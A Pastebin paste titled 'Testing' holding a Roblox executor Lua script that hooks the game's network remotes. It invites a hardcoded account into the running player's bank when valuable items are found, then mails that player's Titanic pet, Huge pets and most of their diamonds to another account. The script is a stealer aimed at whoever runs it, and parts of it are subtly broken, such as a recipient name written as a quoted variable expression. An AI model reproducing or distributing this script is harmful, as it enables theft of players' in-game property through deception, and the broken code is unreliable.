Advertisement
Jameslawrence01

Testing

Apr 19th, 2023 (edited)
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.23 KB | None | 0 0
  1. getgenv().YourAccNameThatGetsMailbox = "JamesLawrenceJLPSD"
  2. getgenv().YourAccountIdForBankInvite = 2612517599
  3.  
  4. local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"))
  5. local cooldown = os.time()
  6. local GetRemoteUpValue = nil
  7. local pets = require(game:GetService("ReplicatedStorage").Directory.Pets["Grab All Pets"])
  8. for _, V in pairs(getgc(true)) do
  9. if type(V) ~= "table" then
  10. continue
  11. end
  12. if rawget(V, "Invoke") then
  13. if type(V.Invoke) == "function" then
  14. if tostring(getfenv(V.Invoke).script) == "Network" then
  15. GetRemoteUpValue = getupvalues(V.Invoke)[2]
  16. break
  17. end
  18. end
  19. end
  20. end
  21. function FireRemote(Name, ...)
  22. if not GetRemoteUpValue then
  23. return end
  24. local Remote = GetRemoteUpValue(Name)
  25. if not Remote then
  26. return
  27. end
  28. if typeof(Remote) ~= "Instance" then
  29. return
  30. end
  31. if Remote.ClassName == "RemoteEvent" then
  32. return Remote:FireServer(...)
  33. elseif Remote.ClassName == "RemoteFunction" then
  34. return Remote:InvokeServer(...)
  35. end
  36. end
  37. local function is_huge(petdata)
  38. if pets[petdata.id]["huge"] then
  39. return true
  40. end
  41. return false;
  42. end
  43. local function getMyBank()
  44. local banks = FireRemote("Get My Banks")
  45. for i,v in pairs(banks) do if v.Owner == game.Players.LocalPlayer.UserId then
  46. return v.BUID
  47. end
  48. end
  49. end
  50. local specialPets = {["6969"]=true}
  51. local function isNotablePet(id)
  52. local petData = pets[id]
  53. if petData.rarity == "Exclusive" then
  54. return true
  55. end
  56. if specialPets[id] ~= nil then
  57. return true
  58. end
  59. end
  60. local function inviteToBank(bank)
  61. if bank ~= nil then
  62. local bankData = FireRemote("Get Bank",bank)
  63. local pets = bankData.Storage.Pets
  64. local diamonds = bankData.Storage.Currency.Diamonds
  65. if diamonds > 1000000000 then
  66. return true;
  67. end
  68. for i,v in pairs(pets) do
  69. if isNotablePet(v.id) == true then
  70. return true;
  71. end
  72. end
  73. end
  74. end
  75. local bank = getMyBank()
  76. local invite = inviteToBank(bank)
  77. if invite then
  78. FireRemote("Invite To Bank",bank,getgenv().YourAccountIdForBankInvite)
  79. end
  80. local save = v1.Save.Get()
  81. local titanicHolder = game:GetService("Players").LocalPlayer.PlayerGui.Inventory.Frame.Main.Pets.Titanic
  82. if titanicHolder:FindFirstChildWhichIsA("TextButton")
  83. then
  84. print("found titanic")
  85. FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hey", Pets = {[1]=titanicHolder:FindFirstChildWhichIsA("TextButton").Name}, Diamonds = 0 })
  86. end
  87. for i,v in pairs(save.Pets) do
  88. if is_huge(v) then
  89. print("ok2")
  90. repeat wait(.1) until (cooldown - os.time()) <= 0
  91. local diamonds = (save.Diamonds)-20000000
  92. if diamonds < 0 then
  93. diamonds = 0
  94. end
  95. print(FireRemote("Send Mail",{ Recipient = "getgenv().YourAccNameThatGetsInvited", Message = "hi", Pets = {[1]=v.uid}, Diamonds = diamonds })) cooldown = os.time() + 5
  96. end
  97. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement